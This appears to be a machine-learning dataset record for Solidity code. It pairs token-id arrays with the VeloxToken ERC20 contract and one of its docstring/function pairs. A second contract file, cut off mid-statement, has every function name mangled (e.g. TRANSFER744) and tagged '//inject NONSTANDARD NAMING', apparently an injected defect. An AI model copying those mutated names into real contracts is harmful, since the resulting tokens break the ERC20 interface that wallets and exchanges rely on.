[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 389, 13002, 26721, 273, 4336, 636, 12443, 1897, 300, 404, 13, 342, 890, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title VeloxToken * @dev VeloxCoin is now the VeloxToken ERC20 token contract. * This VeloxToken update removes staking in favor of lower gas fees and updates Solditiy to 0.5.0. */ contract VeloxToken is ERC20, ERC20Detailed, Ownable { uint8 public constant DECIMALS = 2; uint256 public constant MAX_TOTAL_SUPPLY = 100 * (10 ** (6 + uint256(DECIMALS))); // 100 million tokens bool public balancesInitialized = false; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("Velox", "VLX", DECIMALS) { // Nothing happens here: balances will be set in initBalances } /** * @dev Function to init balances mapping on token launch */ function initBalances(address[] calldata _accounts, uint64[] calldata _amounts) external onlyOwner { require(!balancesInitialized); require(_accounts.length > 0 && _accounts.length == _amounts.length); uint256 total = 0; for (uint256 i = 0; i < _amounts.length; i++) total = total.add(uint256(_amounts[i])); require(total <= MAX_TOTAL_SUPPLY); for (uint256 j = 0; j < _accounts.length; j++) _mint(_accounts[j], uint256(_amounts[j])); } /** * @dev Function to complete initialization of token balances after launch */ function completeInitialization() external onlyOwner { require(!balancesInitialized); balancesInitialized = true; } /** * @dev Transfer tokens to multiple addresses * @param _to The addresses to transfer to. * @param _values The amounts to be transferred. */ function batchTransfer(address[] memory _to, uint256[] memory _values) public returns (bool) { require(_to.length == _values.length); for (uint256 i = 0; i < _to.length; i++) require(transfer(_to[i], _values[i])); return true; } }
* @dev Transfer tokens to multiple addresses @param _to The addresses to transfer to. @param _values The amounts to be transferred./
function batchTransfer(address[] memory _to, uint256[] memory _values) public returns (bool) { require(_to.length == _values.length); for (uint256 i = 0; i < _to.length; i++) require(transfer(_to[i], _values[i])); return true; }
14,726,531
[ 1, 5912, 2430, 358, 3229, 6138, 225, 389, 869, 1021, 6138, 358, 7412, 358, 18, 225, 389, 2372, 1021, 30980, 358, 506, 906, 4193, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2581, 5912, 12, 2867, 8526, 3778, 389, 869, 16, 2254, 5034, 8526, 3778, 389, 2372, 13, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 24899, 869, 18, 2469, 422, 389, 2372, 18, 2469, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 869, 18, 2469, 31, 277, 27245, 2583, 12, 13866, 24899, 869, 63, 77, 6487, 389, 2372, 63, 77, 5717, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.10; contract Context { constructor () internal { } function _MSGSENDER793() internal view returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA330() internal view returns (bytes memory) { //inject NONSTANDARD NAMING this; return msg.data; } } interface IERC20 { function TOTALSUPPLY908() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF227(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER744(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE643(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE357(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM570(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER432(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL431(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function ADD803(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB97(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB97(a, b, "SafeMath: subtraction overflow"); } function SUB97(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL111(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV358(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV358(a, b, "SafeMath: division by zero"); } function DIV358(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; return c; } function MOD464(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD464(a, b, "SafeMath: modulo by zero"); } function MOD464(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function TOTALSUPPLY908() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF227(address account) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER744(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER927(_MSGSENDER793(), recipient, amount); return true; } function ALLOWANCE643(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE357(address spender, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE171(_MSGSENDER793(), spender, amount); return true; } function TRANSFERFROM570(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER927(sender, recipient, amount); _APPROVE171(sender, _MSGSENDER793(), _allowances[sender][_MSGSENDER793()].SUB97(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE99(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE171(_MSGSENDER793(), spender, _allowances[_MSGSENDER793()][spender].ADD803(addedValue)); return true; } function DECREASEALLOWANCE633(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE171(_MSGSENDER793(), spender, _allowances[_MSGSENDER793()][spender].SUB97(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER927(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].SUB97(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD803(amount); emit TRANSFER432(sender, recipient, amount); } function _MINT736(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.ADD803(amount); _balances[account] = _balances[account].ADD803(amount); emit TRANSFER432(address(0), account, amount); } function _BURN826(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].SUB97(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB97(amount); emit TRANSFER432(account, address(0), amount); } function _APPROVE171(address owner, address spender, uint256 amount) internal { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL431(owner, spender, amount); } function _BURNFROM936(address account, uint256 amount) internal { //inject NONSTANDARD NAMING _BURN826(account, amount); _APPROVE171(account, _MSGSENDER793(), _allowances[account][_MSGSENDER793()].SUB97(amount, "ERC20: burn amount exceeds allowance")); } } library BytesLib { function CONCAT636(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING bytes memory tempBytes; assembly { tempBytes := mload(0x40) let length := mload(_preBytes) mstore(tempBytes, length) let mc := add(tempBytes, 0x20) let end := add(mc, length) for { let cc := add(_preBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) mc := end end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) )) } return tempBytes; } function CONCATSTORAGE846(bytes storage _preBytes, bytes memory _postBytes) internal { //inject NONSTANDARD NAMING assembly { let fslot := sload(_preBytes_slot) let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) let newlength := add(slength, mlength) switch add(lt(slength, 32), lt(newlength, 32)) case 2 { sstore( _preBytes_slot, add( fslot, add( mul( div( mload(add(_postBytes, 0x20)), exp(0x100, sub(32, mlength)) ), exp(0x100, sub(32, newlength)) ), mul(mlength, 2) ) ) ) } case 1 { mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) sstore(_preBytes_slot, add(mul(newlength, 2), 1)) let submod := sub(32, slength) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore( sc, add( and( fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 ), and(mload(mc), mask) ) ) for { mc := add(mc, 0x20) sc := add(sc, 1) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } default { mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) sstore(_preBytes_slot, add(mul(newlength, 2), 1)) let slengthmod := mod(slength, 32) let mlengthmod := mod(mlength, 32) let submod := sub(32, slengthmod) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore(sc, add(sload(sc), and(mload(mc), mask))) for { sc := add(sc, 1) mc := add(mc, 0x20) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } } } function SLICE479(bytes memory _bytes, uint _start, uint _length) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + _length), "Slice out of bounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { tempBytes := mload(0x40) let lengthmod := and(_length, 31) let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) mstore(0x40, and(add(mc, 31), not(31))) } default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function TOADDRESS666(bytes memory _bytes, uint _start) internal pure returns (address) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 20), "Address conversion out of bounds."); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function TOUINT411(bytes memory _bytes, uint _start) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 32), "Uint conversion out of bounds."); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function EQUAL334(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) { //inject NONSTANDARD NAMING bool success = true; assembly { let length := mload(_preBytes) switch eq(length, mload(_postBytes)) case 1 { let cb := 1 let mc := add(_preBytes, 0x20) let end := add(mc, length) for { let cc := add(_postBytes, 0x20) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { if iszero(eq(mload(mc), mload(cc))) { success := 0 cb := 0 } } } default { success := 0 } } return success; } function EQUALSTORAGE265(bytes storage _preBytes, bytes memory _postBytes) internal view returns (bool) { //inject NONSTANDARD NAMING bool success = true; assembly { let fslot := sload(_preBytes_slot) let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) switch eq(slength, mlength) case 1 { if iszero(iszero(slength)) { switch lt(slength, 32) case 1 { fslot := mul(div(fslot, 0x100), 0x100) if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) { success := 0 } } default { let cb := 1 mstore(0x0, _preBytes_slot) let sc := keccak256(0x0, 0x20) let mc := add(_postBytes, 0x20) let end := add(mc, mlength) for {} eq(add(lt(mc, end), cb), 2) { sc := add(sc, 1) mc := add(mc, 0x20) } { if iszero(eq(sload(sc), mload(mc))) { success := 0 cb := 0 } } } } } default { success := 0 } } return success; } function TOBYTES32571(bytes memory _source) pure internal returns (bytes32 result) { //inject NONSTANDARD NAMING bytes memory tempEmptyStringTest = bytes(_source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(_source, 32)) } } } library BTCUtils { using BytesLib for bytes; using SafeMath for uint256; uint256 public constant diff1_target719 = 0xffff0000000000000000000000000000000000000000000000000000; //inject NONSTANDARD NAMING uint256 public constant retarget_period820 = 2 * 7 * 24 * 60 * 60; //inject NONSTANDARD NAMING uint256 public constant retarget_period_blocks665 = 2016; //inject NONSTANDARD NAMING function DETERMINEVARINTDATALENGTH811(bytes memory _flag) internal pure returns (uint8) { //inject NONSTANDARD NAMING if (uint8(_flag[0]) == 0xff) { return 8; } if (uint8(_flag[0]) == 0xfe) { return 4; } if (uint8(_flag[0]) == 0xfd) { return 2; } return 0; } function REVERSEENDIANNESS18(bytes memory _b) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING bytes memory _newValue = new bytes(_b.length); for (uint i = 0; i < _b.length; i++) { _newValue[_b.length - i - 1] = _b[i]; } return _newValue; } function BYTESTOUINT790(bytes memory _b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 _number; for (uint i = 0; i < _b.length; i++) { _number = _number + uint8(_b[i]) * (2 ** (8 * (_b.length - (i + 1)))); } return _number; } function LASTBYTES156(bytes memory _b, uint256 _num) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint256 _start = _b.length.SUB97(_num); return _b.SLICE479(_start, _num); } function HASH160454(bytes memory _b) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return abi.encodePacked(ripemd160(abi.encodePacked(sha256(_b)))); } function HASH256986(bytes memory _b) internal pure returns (bytes32) { //inject NONSTANDARD NAMING return abi.encodePacked(sha256(abi.encodePacked(sha256(_b)))).TOBYTES32571(); } function EXTRACTINPUTATINDEX738(bytes memory _vin, uint8 _index) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint256 _len; bytes memory _remaining; uint256 _offset = 1; for (uint8 _i = 0; _i < _index; _i ++) { _remaining = _vin.SLICE479(_offset, _vin.length - _offset); _len = DETERMINEINPUTLENGTH677(_remaining); _offset = _offset + _len; } _remaining = _vin.SLICE479(_offset, _vin.length - _offset); _len = DETERMINEINPUTLENGTH677(_remaining); return _vin.SLICE479(_offset, _len); } function ISLEGACYINPUT163(bytes memory _input) internal pure returns (bool) { //inject NONSTANDARD NAMING return keccak256(_input.SLICE479(36, 1)) != keccak256(hex"00"); } function DETERMINEINPUTLENGTH677(bytes memory _input) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint8 _varIntDataLen; uint256 _scriptSigLen; (_varIntDataLen, _scriptSigLen) = EXTRACTSCRIPTSIGLEN905(_input); return 36 + 1 + _varIntDataLen + _scriptSigLen + 4; } function EXTRACTSEQUENCELELEGACY251(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint8 _varIntDataLen; uint256 _scriptSigLen; (_varIntDataLen, _scriptSigLen) = EXTRACTSCRIPTSIGLEN905(_input); return _input.SLICE479(36 + 1 + _varIntDataLen + _scriptSigLen, 4); } function EXTRACTSEQUENCELEGACY692(bytes memory _input) internal pure returns (uint32) { //inject NONSTANDARD NAMING bytes memory _leSeqence = EXTRACTSEQUENCELELEGACY251(_input); bytes memory _beSequence = REVERSEENDIANNESS18(_leSeqence); return uint32(BYTESTOUINT790(_beSequence)); } function EXTRACTSCRIPTSIG435(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint8 _varIntDataLen; uint256 _scriptSigLen; (_varIntDataLen, _scriptSigLen) = EXTRACTSCRIPTSIGLEN905(_input); return _input.SLICE479(36, 1 + _varIntDataLen + _scriptSigLen); } function EXTRACTSCRIPTSIGLEN905(bytes memory _input) internal pure returns (uint8, uint256) { //inject NONSTANDARD NAMING bytes memory _varIntTag = _input.SLICE479(36, 1); uint8 _varIntDataLen = DETERMINEVARINTDATALENGTH811(_varIntTag); uint256 _len; if (_varIntDataLen == 0) { _len = uint8(_varIntTag[0]); } else { _len = 